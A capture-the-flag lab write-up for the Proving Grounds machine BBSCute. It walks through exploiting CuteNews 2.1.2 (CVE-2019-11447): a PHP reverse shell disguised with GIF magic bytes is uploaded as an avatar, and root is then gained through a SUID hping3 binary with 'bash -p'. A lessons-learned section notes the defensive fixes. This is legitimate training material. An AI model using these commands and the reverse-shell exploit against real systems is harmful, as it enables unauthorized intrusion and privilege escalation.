the_open_door
coffee
ESEN

BBSecute

Proving Grounds PlayEasyLinux192.168.144.128

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#oscp#cutenews#cve-2019-11447#file-upload#magic-bytes#avatar-upload#rce#suid#hping3#gtfobins
TL;DR. Port 80 serves a CuteNews 2.1.2, vulnerable to CVE-2019-11447: register an account, upload a .php disguised with the GIF8; magic bytes as an avatar and trigger it for RCE as www-data. For root, the /usr/sbin/hping3 binary has the SUID bit: its interactive prompt lets you spawn bash -p, which keeps the binary's euid=0.

Reconnaissance

Initial scan

TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Five ports, with the web (80) as the main surface. The others (SSH on 22, and Kerberos/POP3/POP3S on 88/110/995) we deprioritize on purpose: with no usernames or passwords there is nothing to throw at them, so we start with the web and would only come back to these services if we later obtained credentials. It's not that they were tested and ruled out, it's that they offer no entry point without prior authentication:

ping -c 1 192.168.144.128     # ttl=61 → Linux
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.144.128
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
88/tcp  open  kerberos-sec
110/tcp open  pop3
995/tcp open  pop3s
nmap -p22,80,88,110,995 -sCV 192.168.144.128
PORT    STATE SERVICE      VERSION
22/tcp  open  ssh          OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp  open  http         Apache httpd 2.4.38 ((Debian))
88/tcp  open  kerberos-sec
110/tcp open  pop3
995/tcp open  pop3s

CuteNews - TCP 80

The landing page is the default Apache, but dirsearch uncovers a CMS structure: /index.php/login, /uploads/, /example.php, /core, /libs...

dirsearch -u http://192.168.144.128/ --exclude-status=403,404

dirsearch finds /index.php/login, /uploads, /example.php and the rest of the CMS routes

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

301 -  317B  - /core
200 -    0B  - /docs/
200 -    3KB - /example.php
200 -    2KB - /index.php
200 -    2KB - /index.php/login/
301 -  317B  - /libs
200 -    1KB - /LICENSE.txt
200 -  201B  - /manual/index.html
200 -   28B  - /print.php
200 -    2KB - /README.md
200 -  118B  - /rss.php
200 -  763B  - /search.php
301 -  318B  - /skins
200 -    0B  - /uploads/

example.php is a CuteNews and its links reveal the domain cute.calipendula, which we add to /etc/hosts:

CuteNews example.php; its links point to http://cute.calipendula/example.php?do=archives

echo '192.168.144.128 cute.calipendula' | sudo tee -a /etc/hosts

With the domain resolved, the login page confirms the version in its footer: CuteNews 2.1.2 (with an open Register link):

CuteNews login at cute.calipendula/index.php/login; footer Powered by CuteNews 2.1.2 and a Register link

CuteNews news management system
  Login

Please sign in
  User:
  Password:
  [ ] Remember me
  [ Sign in ]  Register  (lost password)

Powered by CuteNews 2.1.2 (c) 2002-2025 CutePHP. (unregistered)

That version has a known public exploit: CVE-2019-11447, an avatar upload that leads to remote code execution.

ColdFusionX GitHub repo: CVE-2019-11447 CuteNews 2.1.2 Avatar upload RCE, with exploit.py and rev.php

Shell as www-data

CuteNews 2.1.2 avatar upload (CVE-2019-11447)

CuteNews lets anyone register and upload an avatar. The flaw: the image filter is satisfied by the header magic bytes, not by the extension or the real content. A .php starting with GIF8; passes as a valid "GIF" but the server executes it as PHP. ColdFusionX's exploit automates the whole flow (register → upload → trigger):

git clone https://github.com/ColdFusionX/CVE-2019-11447_CuteNews-AvatarUploadRCE
cd CVE-2019-11447_CuteNews-AvatarUploadRCE
# rev.php: your own IP and port
penelope 4444   # listener for the revshell (rev.php port)
python3 exploit.py -l http://cute.calipendula -u test -p test123 -e test@test.com

The rev.php shipped with the repo is nothing exotic: it's a standard PHP reverse shell (an fsockopen/exec back to the IP and port we set), and it's what the avatar ends up executing. That's why you leave the listener up on the port you put inside rev.php before firing.

User registration in CuteNews 2.1.2, the first step of the avatar-upload exploit

The script logs in as test, adds the magic byte to rev.php, uploads it as an avatar to /uploads/avatar_test_test.php and, on pressing y, visits it to trigger the reverse shell. Penelope catches the connection as www-data and upgrades it to a PTY:

ColdFusionX exploit.py: login OK, upload successful, avatar_test_test.php triggered and Penelope catches the shell as www-data

www-data@cute:/var/www$ cat local.txt && id
29f544eabf65ac4c9d6e16653c16baef
uid=33(www-data) gid=33(www-data) groups=33(www-data)

local.txt read as www-data on the cute host

The magic bytes trick is the key: prepend GIF8; to sneak the .php through, and since PHP ignores everything outside <?php ?>, the fake header does not break execution.

Privilege Escalation

SUID hping3

A SUID binary sweep finds an unusual one:

find / -perm -4000 2>/dev/null
# /usr/sbin/hping3

hping3 has an interactive mode (a Tcl console). With the SUID bit set, any process spawned from that prompt inherits the binary's euid=0, so just open its console and ask for a bash -p:

hping3
# hping3> bash -p

SUID hping3: its prompt spawns bash -p and gives root

bash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

bash -p is essential: without -p, bash would drop the inherited euid=0 on startup. With it, the result is effective root.

local.txt / proof.txt

www-data@cute:/var/www$ cat local.txt
29f544eabf65ac4c9d6e16653c16baef

bash-5.0# cat /root/proof.txt
1dc170d47140f45e53340577afe98535

proof.txt read as root

Attack chain

Web (80) → CuteNews 2.1.2 at cute.calipendula
  └─ CVE-2019-11447: register + avatar .php with GIF8; magic bytes
     └─ /uploads/avatar_test_test.php triggered → www-data
        └─ find / -perm -4000 → /usr/sbin/hping3 (SUID)
           └─ hping3 → interactive prompt → bash -p → root

Lessons learned

  • CuteNews 2.1.2 is a direct target: open registration + avatar upload + CVE-2019-11447. Identifying the exact version (2.1.2) is what connects to the public exploit.
  • Validating an upload by magic bytes alone is useless against a .php starting with GIF8;: the file passes the "image" filter and PHP ignores the fake header. Validate extension, real type and, above all, do not serve the uploads directory as executable.
  • A SUID binary offering an interactive or scripting mode (here hping3's console) is a nearly free escalation: it inherits euid=0 and runs whatever it is asked. find / -perm -4000 is one of the first things to run with any shell.
  • bash -p is the detail that closes the SUID escalation: it preserves the inherited euid instead of dropping it, which is what bash does by default for safety.
Command cheatsheet 9 commands

Quick review